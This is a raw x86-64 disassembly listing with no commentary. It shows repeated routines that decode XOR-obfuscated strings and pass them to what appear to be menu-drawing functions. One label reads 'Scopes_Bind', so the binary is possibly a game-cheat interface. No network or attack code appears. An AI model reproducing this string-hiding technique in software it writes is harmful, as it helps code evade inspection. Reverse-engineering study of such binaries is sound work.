movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x14008387b
mov byte [0x1400aef77], 0
jmp 0x140083a0b
movzx eax, byte [0x1400aef77]
test al, al
je 0x140083a0b
lea rdx, [rbp + 0x290]
mov byte [rbp + 0x80], 0
lea rcx, [rbp + 0x80]
call fcn.140088ed0
mov r10, rax
cmp byte [rax + 7], 0
je 0x140083a03
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x1400839c4
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x140083a03
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1400839d0
mov rcx, r10
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0x128]
mov byte [rbp + 0x81], 0
lea rcx, [rbp + 0x81]
call fcn.140088ee0
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x140083a5d
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x298]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4208]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x2a0]
mov byte [rbp + 0x82], 0
lea rcx, [rbp + 0x82]
call fcn.140088f00
mov rbx, rax
cmp byte [rax + 7], 0
je 0x140083c03
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140083bcd
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
jmp 0x140083c03
mov r9, rbx
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140083bd0
movaps xmm2, xmm11
lea rcx, [rbp + 0x2a8]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b3878]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400ae053], 0
je 0x140083e19
lea rdx, [rbp + 0x1710]
mov byte [rbp + 0x83], 0
lea rcx, [rbp + 0x83]
call fcn.140088f10
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140083df1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140083db9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140083cb0
cmp r8d, 0x12
jge 0x140083df1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x140083dc0
mov rcx, r10
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140083e19
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140083e20
mov byte [0x1400aef77], 0
jmp 0x140083fe9
movzx eax, byte [0x1400aef77]
test al, al
je 0x140083fe9
lea rdx, [rbp + 0x1788]
mov byte [rbp + 0x84], 0
lea rcx, [rbp + 0x84]
call fcn.140088f30
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140083fe1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140083faa
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140083ea1
cmp r8d, 0x13
jge 0x140083fe1
movsxd r9, r8d
add r9, r10
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140083fb0
mov rcx, r10
call fcn.140040350
movss xmm0, dword [0x1400a2060]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140084063
lea rdx, [rbp + 0x1c8]
mov byte [rbp + 0x85], 0
lea rcx, [rbp + 0x85]
call fcn.140088f60
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14008403e
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor cl, 0x36
mov byte [rax + 5], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140084063
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x14008406a
mov byte [0x1400aef77], 0
jmp 0x1400840bd
movzx eax, byte [0x1400aef77]
test al, al
je 0x1400840bd
lea rdx, [rbp + 0x5e0]
mov byte [rbp + 0x86], 0
lea rcx, [rbp + 0x86]
call fcn.140088f80
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400840b5
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
mov rcx, rax
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0x138]
mov byte [rbp + 0x87], 0
lea rcx, [rbp + 0x87]
call fcn.140088fa0
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x14008410f
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x2b0]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b398c]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x278]
mov byte [rbp + 0x88], 0
lea rcx, [rbp + 0x88]
call fcn.140088fc0
mov rbx, rax
movzx eax, byte [rax + 6]
test al, al
je 0x140084183
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor al, 0x37
mov byte [rbx + 6], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x2b8]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4a88]
mov rcx, rbx
call fcn.1400423f0
call fcn.14000d0d0
movss xmm6, dword [0x1400a2078]
movaps xmm1, xmm12
movaps xmm0, xmm6
call fcn.1400151e0
lea rdx, [rbp + 0x270]
mov byte [rbp + 0x89], 0
lea rcx, [rbp + 0x89]
call fcn.140087f50
mov rbx, rax
movzx eax, byte [rax + 6]
test al, al
je 0x140084203
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor al, 0x37
mov byte [rbx + 6], al
movss xmm1, dword [0x1400a2088]
lea rcx, [rbp + 0x2c0]
movaps xmm2, xmm6
call fcn.140002fe0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call fcn.14000d070
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2038]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140084315
mov edx, 0x23
mov byte [rbp + 0x8a], 0
lea rcx, [rbp + 0xd30]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xed0]
call fcn.14002a680
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x8a]
call fcn.140088ff0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400842c4
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor cl, 0x37
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0xed0]
call fcn.1400403e0
cmp byte [0x1400ae053], 1
jne 0x1400842f5
movzx eax, byte [0x1400aef77]
mov ecx, eax
cmp al, 1
mov eax, 0
cmove ecx, eax
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x140084315
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140084315
lea rcx, str.Scopes_Bind
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140084500
mov edx, 0x23
mov byte [rbp + 0x8b], 0
lea rcx, [rbp + 0xee0]
mov dword [rsp + 0x20], 0xff
lea r9d, [rdx + 0x4a]
lea r8d, [r9 + 0x3b]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xa50]
call fcn.14002a680
lea rdx, [rbp + 0x9f0]
lea rcx, [rbp + 0x8b]
call fcn.140089020
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400844d1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140084497
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1400844a0
mov rdx, r10
lea rcx, [rbp + 0xa50]
call fcn.1400403e0
cmp byte [0x1400aeff4], 1
jne 0x140084500
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140084500
lea rcx, [0x1400a0ad8]
call fcn.1400161e0
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2020]
movaps xmm1, xmm12
call fcn.1400151e0
lea rdx, [rbp + 0xd0]
mov byte [rbp + 0x8c], 0
lea rcx, [rbp + 0x8c]
call fcn.140089050
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14008454c
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor cl, 0x33
mov byte [rax + 2], cl
mov rcx, rax
call fcn.140040350
movss xmm0, dword [0x1400a2068]
movaps xmm1, xmm12
call fcn.1400151e0
lea rdx, [rbp + 0xdc]
mov byte [rbp + 0x8d], 0
lea rcx, [rbp + 0x8d]
call fcn.140089070
mov r10, rax
cmp byte [rax + 3], 0
je 0x140084663
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x14008462a
movdqa xmm3, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a3220]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a3220]
shufps xmm2, xmm0, 0xdd
movd xmm0, eax
mov eax, 0x1f
psrad xmm2, xmm0
movdqa xmm1, xmm2
movd xmm0, eax
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a2260]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [r10]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
pxor xmm2, xmm0
movd dword [r10], xmm2
jmp 0x140084663
mov r9, r10
nop dword [rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140084630
mov rcx, r10
call fcn.140040350
lea rcx, [0x1400900fa]
call fcn.140040350
movaps xmm1, xmm12
movaps xmm0, xmm11
call fcn.1400151e0
lea rdx, [rbp + 0x140]
mov byte [rbp + 0x8e], 0
lea rcx, [rbp + 0x8e]
call fcn.140089080
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x1400846bd
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor al, 0x35
mov byte [rbx + 4], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x2c8]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae284]
mov rcx, rbx
call fcn.1400423f0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.1400151e0
lea rdx, [rbp + 0x1c0]
mov byte [rbp + 0x8f], 0
lea rcx, [rbp + 0x8f]
call fcn.1400890a0
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14008472d
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor al, 0x36
mov byte [rbx + 5], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x2d0]
movaps xmm1, xmm14
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400ae23c]
mov rcx, rbx
call fcn.1400423f0
call fcn.140043100
lea rcx, [0x1400900fa]
call fcn.140040350
movss xmm0, dword [0x1400a2018]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x1400847dd
lea rdx, [rbp + 0x148]
mov byte [rbp + 0x90], 0
lea rcx, [rbp + 0x90]
call fcn.1400890c0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1400847b5
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor cl, 0x35
mov byte [rax + 4], cl
mov rcx, rax
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x1400847dd
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x1400847e4
mov byte [0x1400aef77], 0
jmp 0x1400849b9
movzx eax, byte [0x1400aef77]
test al, al
je 0x1400849b9
lea rdx, [rbp + 0x1620]
mov byte [rbp + 0x91], 0
lea rcx, [rbp + 0x91]
call fcn.1400890e0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400849b1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140084979
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140084870
cmp r8d, 0x11
jge 0x1400849b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140084980
mov rcx, r10
call fcn.140040350
movss xmm0, dword [0x1400a2058]
movaps xmm1, xmm12
call fcn.1400151e0
cmp byte [0x1400ae053], 0
je 0x140084b7b
lea rdx, [rbp + 0x348]
mov byte [rbp + 0x92], 0
lea rcx, [rbp + 0x92]
call fcn.140089100
mov r10, rax
cmp byte [rax + 7], 0
je 0x140084b53
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140084b18
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x140084b53
mov r9, r10
nop dword [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140084b20
mov rcx, r10
call fcn.140040350
cmp byte [0x1400ae053], 1
jne 0x140084b7b
movzx eax, byte [0x1400aef77]
cmp al, 1
jne 0x140084b82
mov byte [0x1400aef77], 0
jmp 0x140084d59
movzx eax, byte [0x1400aef77]
test al, al
je 0x140084d59
lea rdx, [rbp + 0x18a8]
mov byte [rbp + 0x93], 0
lea rcx, [rbp + 0x93]
call fcn.140089110
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x140084d51
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140084d19
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
